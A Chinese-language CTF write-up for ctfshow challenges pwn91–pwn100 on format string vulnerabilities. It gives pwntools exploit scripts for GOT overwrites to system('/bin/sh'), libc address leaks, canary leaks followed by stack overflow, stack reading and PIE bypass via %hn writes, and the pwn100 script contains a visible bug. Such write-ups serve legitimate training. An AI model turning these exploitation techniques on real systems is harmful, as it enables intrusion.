0x02 格式化字符串

pwn91

啊,好累

题目tips:开始格式化字符串了,先来个简单的吧

image-20240903192534315

开了canary和nx

image-20240903212346797

可以看到偏移值是7,就是说输入的aaaa和0x61616161之间隔了七个位置

aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p就是用来显示偏移值的一个方法

萌新可以先看这个https://www.cnblogs.com/falling-dusk/p/17858030.html,看完之后可能会比较好一点

也可以gdb调试一下,看一下到底是输出了什么。

image-20240903214350903

image-20240903214356248

可以看到是向着高位地址的方向读取的,也就是说有可能把canary读出来,不过对于本题的意义倒不是很大。

本题如果不用集成好的函数写的话,应该是用的%n,然后计算位于bss段的变量daniu和偏移量7之间的关系,通过泄露出的地址计算距离之间的,然后将bss段覆盖为想要的数值。

不过这里还是按照官方wp的解法写,直接上工具!真好吧

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('../pwn91')

p = remote('pwn.challenge.ctf.show', 28174)

offset = 7
daniu = 0x0804B038
payload = fmtstr_payload(offset,{daniu:6})
p.sendline(payload)
p.interactive()

pwn92

image-20240903220119824

这下真是保护全开了,64位保护全开

代码有点多,虽然好像蛮多是示例的,但是懒得看,先下班

image-20240904153652884

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
这个代码片段展示了 C 语言中 `printf` 函数的多种格式化输出功能。下面是对每一行代码的详细解析:

1. `printf("Hello CTFshow %%\n");`
- 作用:打印字符串 `Hello CTFshow %`,其中 `%%` 是打印一个 `%` 字符的转义序列。
- 输出:`Hello CTFshow %`

2. `puts("Hello CTFshow!");`
- 作用:`puts` 函数输出一个字符串并自动在末尾加上换行符。
- 输出:`Hello CTFshow!`

3. `printf("Num : %d\n", 114514LL);`
- 作用:`%d` 是整数格式化说明符,输出一个十进制整数。`114514LL` 是一个长整型常量,但会被 `%d` 格式化为普通整型输出。
- 输出:`Num : 114514`

4. `printf("%s %s\n", "Format", "Strings");`
- 作用:`%s` 是字符串格式化说明符,按顺序输出两个字符串 `"Format"` 和 `"Strings"`。
- 输出:`Format Strings`

5. `printf("%12c\n", 65LL);`
- 作用:`%c` 是字符格式化说明符,输出对应 ASCII 值的字符。`65LL` 对应 ASCII 字符 `'A'`。`%12c` 表示字符占据 12 个字符宽度的位置,左边用空格填充。
- 输出:` A` (前面有 11 个空格)

6. `printf("%16s\n", "Hello");`
- 作用:`%s` 输出字符串,`%16s` 表示字符串占据 16 个字符宽度,左边用空格填充。
- 输出:` Hello` (前面有 11 个空格)

7. `printf("%12c%n\n", 65LL, v1);`
- 作用:
- `%12c` 打印字符 `'A'`,左边用空格填充,总宽度为 12。
- `%n` 并不打印任何内容,而是将当前已经打印的字符数存储在变量 `v1` 中。
- 假设 `v1` 是一个指向整型变量的指针,那么 `v1` 将存储 12,这是因为打印了 12 个字符。
- 输出:` A` (前面有 11 个空格),`v1` 的值为 12。

8. `printf("%16s%n\n", "Hello!", v1);`
- 作用:
- `%16s` 打印字符串 `"Hello!"`,左边用空格填充,总宽度为 16。
- `%n` 将当前已打印的字符数(即 16)存储在 `v1` 中。
- 假设 `v1` 是一个指向整型变量的指针,那么 `v1` 的值将被更新为 16。
- 输出:` Hello!` (前面有 10 个空格),`v1` 的值被更新为 16。

9. `printf("%2$s %1$s\n", "Format", "Strings");`
- 作用:
- `%2$s` 和 `%1$s` 分别指定第二个和第一个参数的字符串输出。
- 这会输出 `"Strings Format"`,而不是默认顺序的 `"Format Strings"`。
- 输出:`Strings Format`

10. `printf("%42c%1$n\n", v1);`
- 作用:
- `%42c` 打印 42 个空格字符(如果 `v1` 是一个有效的字符值)。
- `%n` 将当前已打印的字符数(即 42)存储在 `v1` 中。如果 `v1` 是指向整型变量的指针,它将被赋值为 42。
- 输出:42 个空格字符,然后 `v1` 被设置为 42。

总结
这个代码片段展示了 `printf` 的各种格式化功能,包括字符和字符串格式化、宽度控制、参数位置交换、以及 `n` 格式说明符来存储字符数。`%n` 和 `%m$n` 格式化功能尤其用于一些高级用例,比如格式化字符串攻击的研究。

image-20240904153733954

fgets读取flag的内容到s,scanf读取format作为printf的参数,输出s,只要输入%s就可以了

脚本都省了,直接nc,然后输入%s即可

image-20240904155616272

pwn93

image-20240904154232093

64位保护全开

代码基本就是知识点吧,自己找ai解释一下就完了

nc连接之后输入7获取flag

pwn94

image-20240904163600253

32位程序,开启了nx

解题思路应该是用%n修改栈的内容,然后调用system函数getshell

好吧,其实并不是这样,官方的wp是很神奇的解法(反正不像是我能想到的)

image-20240904172145197

偏移是6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('../pwn94')

p = remote('pwn.challenge.ctf.show', 28179)

offset = 6
#printf_sym = elf.sym['printf']
printf_got = elf.got['printf']
#printf_plt = elf.plt['printf']
#print(hex(printf_sym))
#print(hex(printf_got))
#print(hex(printf_plt))
system_plt = elf.plt['system']
bin_sh = '/bin/sh\x00'

payload = fmtstr_payload(offset,{printf_got:system_plt})
p.sendline(payload)
p.sendline(bin_sh)
p.interactive()

elf.sym[]和elf.plt[]是一个东西,可以看到将printf的got表修改为指向system的地址,所以在执行printf(buf)时就会变成system(buf)

pwn95

image-20240904173318610

32位程序,开启了nx

相比于上题最大的不同应该是没有system函数

解题思路:可以试试泄露函数地址然后获得libc库,然后再得到system函数的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('../pwn95')

p = remote('pwn.challenge.ctf.show', 28304)
#p = process('../pwn95')

offset = 6
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
bin_sh = b'/bin/sh\x00'

# 泄露出printf的地址,%6$s就是打印出第六个参数的意思
payload = p32(printf_got) + "%{}$s".format(offset).encode()
p.sendline(payload)

printf_addr = u32(p.recvuntil('\xf7')[-4:])
print(hex(printf_addr))
libc = LibcSearcher("printf",printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

p.sendline(payload)
p.sendline(bin_sh)
p.recv()
p.interactive()

理论上方法是这么个方法,但是不知道为什么打的时候容器总是会crash,所以就拿不到flag了。

1
2
3
4
5
6
7
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
# 自动计算偏移可以加上这一段

pwn96

image-20240904213737488

32位程序,relro为partial,开启了nx

image-20240904215017724

直接上重点,就是通过%p去读栈上的内容,v3就是flag,而且存在栈上,那么通过格式化字符串漏洞就可以读取栈上的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p = process('./pwn')
p = gdb.debug("../pwn96","b main")
#p = remote('pwn.challenge.ctf.show',28214)
flag=b''
for i in range(6,6+12):
payload='%{}$p'.format(str(i))
p.sendlineafter('$ ',payload)
aim = unhex(p.recvuntil(b'\n',drop=True).replace(b'0x',b''))
flag += aim[::-1]
print(flag)

p.close()

照抄的官方wp,其中手动转码一下也不是不行,记得大小端序就好了

pwn97

image-20240904221503104

relro为partial,canary和nx都开启,32位程序

image-20240904222249003

image-20240904222259037

应该是通过printf函数漏洞修改check来达到输出flag的目的

解题思路:先计算偏移值,由于不需要触发exit,所以s中不需要shutdown,需要触发printf函数,所以s中不需要cat /ctfshow_flag

通过计算可以得到偏移值为11,当然也可以自动计算偏移(虽然我自动计算没算出来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p = process('./pwn')
#p = gdb.debug("../pwn96","b main")
p = remote('pwn.challenge.ctf.show',28166)



offset = 11
check = 0x0804B040

payload = fmtstr_payload(offset,{check:1})
p.sendline(payload)
p.interactive()

pwn98

image-20240904224107940

relro为partial,canary和nx都开启,32位程序

image-20240904225443039

解题思路:这个一眼顶针啊,先使用gets读取一个s,然后printf泄露出canary的值,再用gets指向后门函数__stack_check

image-20240904225801287

可以看到canary就是ebp-0c的位置
偏移值为5
又由于s是ebp-34,s和canary之间隔了10单位,所以泄露canary时偏移值为15

image-20240904230225004

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p = process('./pwn')
#p = gdb.debug("../pwn98","b main")
p = remote('pwn.challenge.ctf.show',28161)
elf = ELF('../pwn98')

offset = 15
shell = elf.sym['__stack_check']

p.recv()
payload = '%{}$p'.format(offset)
p.sendline(payload)
canary = int(p.recv(),16)
print(hex(canary))

offset = 0x28
payload = cyclic(offset) + p32(canary) + cyclic(0xc) + p32(shell)
p.sendline(payload)

p.interactive()


pwn99

没有附件,就是用printf漏洞读取栈的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'error')
#p = process('./pwn')
#p = gdb.debug("../pwn98","b main")


def leak(payload):
p = remote('pwn.challenge.ctf.show',28148)
p.recv()
p.sendline(payload)
data = p.recvuntil('\n',drop=True)
if data.startswith(b'0x'):
print(p64(int(data,16)))
p.close()

i = 1
while True:
payload = '%{}$p'.format(i)
leak(payload)
i+=1

image-20240905135747833

pwn100

image-20240905140220679

保护全开的64位程序

image-20240905140457652

先看initial函数,往secret中存了点随机数,secret位于bss段

image-20240905140744657

whattime函数,读取v1,v2,v3三个参数,然后使用printf输出
menu函数没啥好看的

image-20240905141627311

image-20240905141646982

读取十五个字节的字符串,然后转为整数

v5 = 2时,执行fmt_attack函数,v5=1时,执行leak函数,v5=3时,执行get_flag函数,v5=4时退出程序

image-20240905143728559

fmt_attack存在printf格式化字符串漏洞

由于在调用过一次fmt_attack函数之后就会将a1赋值为1,因此fmt_attack不能重复调用,此处需要对a1进行修改,以能够重复调用fmt_attack,方便攻击。

image-20240905143954218

leak函数读入buf然后输出buf的内容,应该可以泄露出栈的地址吗

image-20240905144150340

读取64个字节的s2,将s2与secret进行比较,比较成功输出flag

解题思路:应该是覆写secret以达到获取flag的目的,由于启用了pie和aslr,无法知道secret的地址,因此需要使用leak函数泄露出地址,然后再调用fmt_attack进行覆盖,然后再调用get_flag函数。

1、修改a1以多次调用printf函数

2、计算出pie的基址

3、修改栈内内容获取flag

image-20240905154751277

image-20240905155510136

image-20240905155712079

image-20240905215953502

可以看到当rip指向printf时,fmt_attack的变量a1在-0x48的位置(这个从ida里面可以分析出来),也就是说在rsp的下面,由于在64位程序中,printf字符串漏洞会先打印出6个寄存器的内容,然后才轮到栈,所以此处偏移值为7。且此处返回地址的位置为0x8,此处偏移值为17

但是printf只能输出地址内的内容,所以如果要得到ret指令的地址则需要用到一些迂回的方法,官方wp使用的是输出rbp所在地址的值再-0x28,对应到上图也就是ret指令对应的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

#p = remote('pwn.challenge.ctf.show',28244)
p = gdb.debug("../pwn100","b main")

def fmt(payload):
p.recvuntil('>>')
p.sendline(2)
p.sendline(payload)

p.sendline("1 1 1")
# 修改a1的值并且泄露出ret的地址
payload = "%7$n-%16$p"
fmt(payload)
p.recvuntil('-')
ret_addr = int(p.recvuntil('\n')[:-1],16)-0x28
payload = "%7$n+%17$p"
fmt(payload)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
pie_base = ret_value - 0x102c

# (elf_base+0xf56)&0xffff和hn确保只修改到最后两个字节,这里修改的是将102c修改为0f56,%10$n修改的是9x7ffd13ce2a60地址的值(见下图),这个值就是ret对应的地址,不知道是什么原理,反正尝试直接%17$n的时候程序直接crash了,感觉可能是慢慢调出来的payload

payload1 = '%' + str((elf_base+0xf56)&0xffff) + 'c%10$hn'
payload1 = payload1.ljust(0x10,'a')
payload1 +=p64(ret_addr)
fmt(payload1)
p.interactive()


image-20240905230544100

image-20240905230548540

反正,挺巧妙的,不过如果换作是我的话可能会覆盖掉secret的位置(试了一下,因为每次最多只能覆写8个字节的内容,所以可能需要覆盖8次,还得计算偏移值,所以就没有继续写了)。

很匆忙地结束格式化字符串漏洞。

Refenrence3

1
2
https://www.cnblogs.com/falling-dusk/p/17858030.html
file:///E:/ctfshow/pwn/attachment/ctfshow_offical_wp/073-108WP.pdf(官方wp)